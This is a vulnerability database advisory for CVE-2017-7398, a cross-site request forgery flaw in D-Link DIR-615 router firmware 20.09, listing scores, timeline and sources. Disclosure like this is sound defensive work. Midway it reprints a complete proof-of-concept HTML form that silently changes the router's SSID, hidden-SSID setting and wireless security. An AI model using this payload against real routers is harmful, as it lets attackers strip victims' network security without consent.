VDB-99293 · CVE-2017-7398 · EDB 41821

D-Link DIR-615 20.09 hiddenSSID/SSID cross-site request forgery

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.4	$0-$5k	0.00

Summaryinfo

A vulnerability was found in D-Link DIR-615 20.09. It has been classified as problematic. The impacted element is an unknown function. The manipulation of the argument hiddenSSID/SSID leads to cross-site request forgery. This vulnerability is listed as CVE-2017-7398. The attack may be initiated remotely. In addition, an exploit is available.

Detailsinfo

A vulnerability was found in D-Link DIR-615 20.09 (Router Operating System) and classified as problematic. This issue affects an unknown code block. The manipulation of the argument hiddenSSID/SSID with an unknown input leads to a cross-site request forgery vulnerability. Using CWE to declare the problem leads to CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Impacted is integrity. The summary by CVE is:

D-Link DIR-615 HW: T1 FW:20.09 is vulnerable to Cross-Site Request Forgery (CSRF) vulnerability. This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated, as demonstrated by changing the Security option from WPA2 to None, or changing the hiddenSSID parameter, SSID parameter, or a security-option password.

The bug was discovered 04/01/2017. The weakness was presented 04/04/2017 (Website). The advisory is shared at exploit-db.com. The identification of this vulnerability is CVE-2017-7398 since 04/01/2017. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. It demands that the victim is doing some kind of user interaction. Technical details as well as a public exploit are known.

A public exploit has been developed by Pratik S. Shah and been published 1 days after the advisory. The exploit is available at exploit-db.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 3 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

<html>
  <!-- CSRF PoC - D-link DIR 615 HW:T1 FW:20.09  -->
  <body>
    <form action="http://192.168.0.1/form2WlanBasicSetup.cgi" method="POST">
      <input type="hidden" name="domain" value="1" />
      <input type="hidden" name="hiddenSSID" value="on" />
      <input type="hidden" name="ssid" value=“Hacked” />
      <input type="hidden" name="band" value="10" />
      <input type="hidden" name="chan" value="0" />
      <input type="hidden" name="chanwid" value="1" />
      <input type="hidden" name="txRate" value="0" />
      <input type="hidden" name="method&#95;cur" value="6" />
      <input type="hidden" name="method" value="0" />
      <input type="hidden" name="authType" value="1" />
      <input type="hidden" name="length" value="1" />
      <input type="hidden" name="format" value="2" />
      <input type="hidden" name="defaultTxKeyId" value="1" />
      <input type="hidden" name="key1" value="0000000000" />
      <input type="hidden" name="pskFormat" value="0" />
      <input type="hidden" name="pskValue" value=“CSRF@test” />
      <input type="hidden" name="checkWPS2" value="1" />
      <input type="hidden" name="save" value="Apply" />
      <input type="hidden" name="basicrates" value="15" />
      <input type="hidden" name="operrates" value="4095" />
      <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at Exploit-DB (41821). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Type

Router Operating System

Vendor

D-Link

Name

DIR-615

Version

20.09

License

commercial

Website

Vendor: https://www.dlink.com/

CPE 2.3info

🔍

CPE 2.2info

🔍

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.6
VulDB Meta Temp Score: 6.4

VulDB Base Score: 4.3
VulDB Temp Score: 4.1
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Pratik S. Shah
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍
Suricata ID: 2024181
Suricata Class: 🔍
Suricata Message: 🔍

Timelineinfo

04/01/2017 🔍
04/01/2017 +0 days 🔍
04/04/2017 +3 days 🔍
04/04/2017 +0 days 🔍
04/04/2017 +0 days 🔍
04/05/2017 +1 days 🔍
04/05/2017 +0 days 🔍
08/30/2024 +2704 days 🔍

Sourcesinfo

Vendor: dlink.com

Advisory: exploit-db.com
Status: Confirmed

CVE: CVE-2017-7398 (🔍)
GCVE (CVE): GCVE-0-2017-7398
GCVE (VulDB): GCVE-100-99293
OSVDB: - CVE-2017-7398 - D-Link - DIR-615 - Cross-Site Request Forgery Issue

scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 04/04/2017 22:26
Updated: 08/30/2024 21:13
Changes: 04/04/2017 22:26 (69), 08/28/2020 18:48 (2), 08/30/2024 21:13 (16)
Complete: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Discussion

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